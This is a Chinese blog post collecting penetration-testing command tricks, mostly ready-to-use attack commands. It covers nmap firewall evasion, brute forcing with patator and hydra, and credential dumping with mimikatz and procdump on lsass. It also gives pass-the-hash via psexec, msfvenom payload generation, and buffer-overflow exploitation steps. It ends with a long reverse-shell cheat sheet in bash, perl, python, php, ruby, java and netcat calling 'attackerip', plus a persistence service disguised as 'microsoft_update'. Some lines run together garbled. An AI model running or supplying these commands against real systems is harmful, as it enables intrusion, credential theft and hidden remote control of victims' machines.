渗透测试工具实战技巧合集(一)

本文为作者总结自己在渗透测试中常用的一些小技巧。

QQ图片20160601150031.png


最好的 NMAP 扫描策略

# 适用所有大小网络最好的 nmap 扫描策略# 主机发现,生成存活主机列表$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt# 端口发现,发现大部分常用端口# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt# 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt# 显示 TCP\UDP 端口$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'# 侦测服务版本$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt# 扫做系统扫描$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt# 系统和服务检测$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – 躲避防火墙

# 分段$ nmap -f# 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)$ nmap --mtu 24# 生成随机数量的欺骗$ nmap -D RND:10 [target]# 手动指定欺骗使用的 IP$ nmap -D decoy1,decoy2,decoy3 etc.# 僵尸网络扫描, 首先需要找到僵尸网络的IP$ nmap -sI [Zombie IP] [Target IP]# 指定源端口号$ nmap --source-port 80 IP# 在每个扫描数据包后追加随机数量的数据$ nmap --data-length 25 IP# MAC 地址欺骗,可以生成不同主机的 MAC 地址$ nmap --spoof-mac Dell/Apple/3Com IP

Nmap 进行 Web 漏洞扫描

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

使用 DIRB 爆破目录

注:DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patatordirsearchDirBuster, 国内的御剑等等。

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Patator – 全能暴力破解测试工具

# git clone https://github.com/lanjelot/patator.git /usr/share/patator# SMTP 爆破$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

使用 Fierce 爆破 DNS

注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBruteSubBrute 等等

# http://ha.ckers.org/fierce/$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

使用 Nikto 扫描 Web 服务

nikto -C all -h http://IP

扫描 WordPress

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP 指纹识别

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zipcd httprint_301/linux/./httprint -h http://IP -s signatures.txt

使用 Skipfish 扫描

注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

使用 NC 扫描

nc -v -w 1 target -z 1-1000for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

注:Unicornscan 是一个信息收集和安全审计的工具。

us -H -msf -Iv 192.168.56.101 -p 1-65535us -H -mU -Iv 192.168.56.101 -p 1-65535-H 在生成报告阶段解析主机名-m 扫描类型 (sf - tcp, U - udp)-Iv - 详细

使用 Xprobe2 识别操作系统指纹

xprobe2 -v -p tcp:80:open IP

枚举 Samba

nmblookup -A target
smbclient //MOUNT/share -I target -Nrpcclient -U "" target
enum4linux target

枚举 SNMP

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

实用的 Windows cmd 命令

net localgroup Users
net localgroup Administrators
search dir/s *.docsystem("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统

PuTTY 连接隧道

转发远程端口到目标地址plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

Meterpreter 端口转发

# https://www.offensive-security.com/metasploit-unleashed/portfwd/# 转发远程端口到目标地址meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141kali > rdesktop 127.0.0.1:3389

开启 RDP 服务

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enablenetsh firewall set service remotedesktop enable

关闭 Windows 防火墙

netsh firewall set opmode disable

Meterpreter VNC\RDP

# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/run getgui -u admin -p 1234run vnc -p 5043

使用 Mimikatz

获取 Windows 明文用户名密码

git clone https://github.com/gentilkiwi/mimikatz.gitprivilege::debug
sekurlsa::logonPasswords full

获取哈希值

git clone https://github.com/byt3bl33d3r/pth-toolkitpth-winexe -U hash //IP cmd或者

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

在或者

meterpreter > run post/windows/gather/hashdumpAdministrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

使用 Hashcat 破解密码

hashcat -m 400 -a 0 hash /root/rockyou.txt

使用 NC 抓取 Banner 信息

nc 192.168.0.10 80GET / HTTP/1.1Host: 192.168.0.10User-Agent: Mozilla/4.0Referrer: www.example.com<enter><enter>

使用 NC 在 Windows 上反弹 shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

查找 SUID\SGID root 文件

# 查找 SUID root 文件find / -user root -perm -4000 -print# 查找 SGID root 文件:find / -group root -perm -2000 -print# 查找 SUID 和 SGID 文件:find / -perm -4000 -o -perm -2000 -print# 查找不属于任何用户的文件:find / -nouser -print# 查找不属于任何用户组的文件:find / -nogroup -print# 查找软连接及其指向:find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP 服务器

python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, 
 ocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

获取进程对应的 PID

fuser -nv tcp 80fuser -k -n tcp 80

使用 Hydra 爆破 RDP

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

挂载远程 Windows 共享文件夹

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Kali 下编译 Exploit

gcc -m32 -o output32 hello.c (32 位)gcc -m64 -o output hello.c (64 位)

Kali 下编译 Windows Exploit

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/downloadwine mingw-get-setup.exeselect mingw32-basecd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zipcd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM 命令

注:NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。

nasm -f bin -o payload.bin payload.asmnasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH 穿透

ssh -D 127.0.0.1:1080 -p 22 user@IPAdd socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH 穿透从一个网络到另一个网络

ssh -D 127.0.0.1:1080 -p 22 user1@IP1Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

使用 metasploit 进行穿透

route add X.X.X.X 255.255.255.0 1use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

或者# https://www.offensive-security.com/metasploit-unleashed/pivoting/meterpreter > ipconfig
IP Address  : 10.1.13.3meterpreter > run autoroute -s 10.1.13.0/24meterpreter > run autoroute -p10.1.13.0          255.255.255.0      Session 1meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

基于 CSV 文件查询 Exploit-DB

git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2./searchsploit "Linux Kernel"cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF 生成在 Linux 下反弹的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF 生成反弹 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF 生成反弹 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF 生成反弹 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF 生成反弹 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF 生成反弹 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF 生成反弹 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux 常用安全命令

# 使用 uid 查找对应的程序find / -uid 0 -perm -4000# 查找哪里拥有写权限find / -perm -o=w# 查找名称中包含点和空格的文件find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print# 查找不属于任何人的文件find / -nouser# 查找未链接的文件lsof +L1# 获取进程打开端口的信息lsof -i# 看看 ARP 表中是否有奇怪的东西arp -a# 查看所有账户getent passwd# 查看所有用户组getent group# 列举所有用户的 crontabsfor user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done# 生成随机密码cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4# 查找所有不可修改的文件find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’# 使文件不可修改chattr -i file

Windows 缓冲区溢出利用命令

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f cCOMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20                              For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

# 常用命令:
pattern createpattern offset (EIP Address)
pattern offset (ESP Address)add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p!mona config -get workingfolder
!mona mod!mona bytearray -b "\x00\x0a"!mona pc 5000!mona po EIP
!mona suggest

SEH – 结构化异常处理

注:SEH(“Structured Exception Handling”),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH# http://baike.baidu.com/view/243131.htm!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)

注:ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

DEP(“Data Execution Prevention”)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。

# https://en.wikipedia.org/wiki/Return-oriented_programming# https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B# https://en.wikipedia.org/wiki/Data_Execution_Prevention# http://baike.baidu.com/item/DEP/7694630!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR – 地址空间格局随机化

# https://en.wikipedia.org/wiki/Address_space_layout_randomization# http://baike.baidu.com/view/3862310.htm!mona noaslr

寻蛋(EGG Hunter)技术

Egg hunting这种技术可以被归为“分级shellcode”,它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。– 参考自看雪论坛,更多详情可以查阅我在代码注释中增加的链接。

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/# http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf# http://www.fuzzysecurity.com/tutorials/expDev/4.html!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'

GDB Debugger 常用命令

# 设置断点break *_start# 执行下一个命令next
step
n
s# 继续执行continuec# 数据checking 'REGISTERS' and 'MEMORY'# 显示寄存器的值: (Decimal,Binary,Hex)print /d –> Decimalprint /t –> Binaryprint /x –> Hex
O/P :
(gdb) print /d $eax$17 = 13
(gdb) print /t $eax$18 = 1101
(gdb) print /x $eax$19 = 0xd
(gdb)# 显示特定内存地址的值command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH 反弹 Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1exec /bin/bash 0&0 2>&0exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&1960<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; doneexec 5<>/dev/tcp/attackerip/4444cat <&5 | while read line; do $line 2>&5 >&5; done # or:while read line 0<&5; do $line 2>&5 >&5; done/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL 反弹 Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'# Win 平台perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY 反弹 Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'# Win 平台ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON 反弹 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP 反弹 Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA 反弹 Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT 反弹 Shell

nc -e /bin/sh attackerip 4444nc -e /bin/sh 192.168.37.10 443# 如果 -e 参数被禁用,可以尝试以下命令# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe/bin/sh | nc attackerip 443rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/# 如果你安装错了 netcat 的版本,请尝试以下命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET 反弹 Shell

# 如果 netcat 不可用或者 /dev/tcpmknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

右拐:

评论回复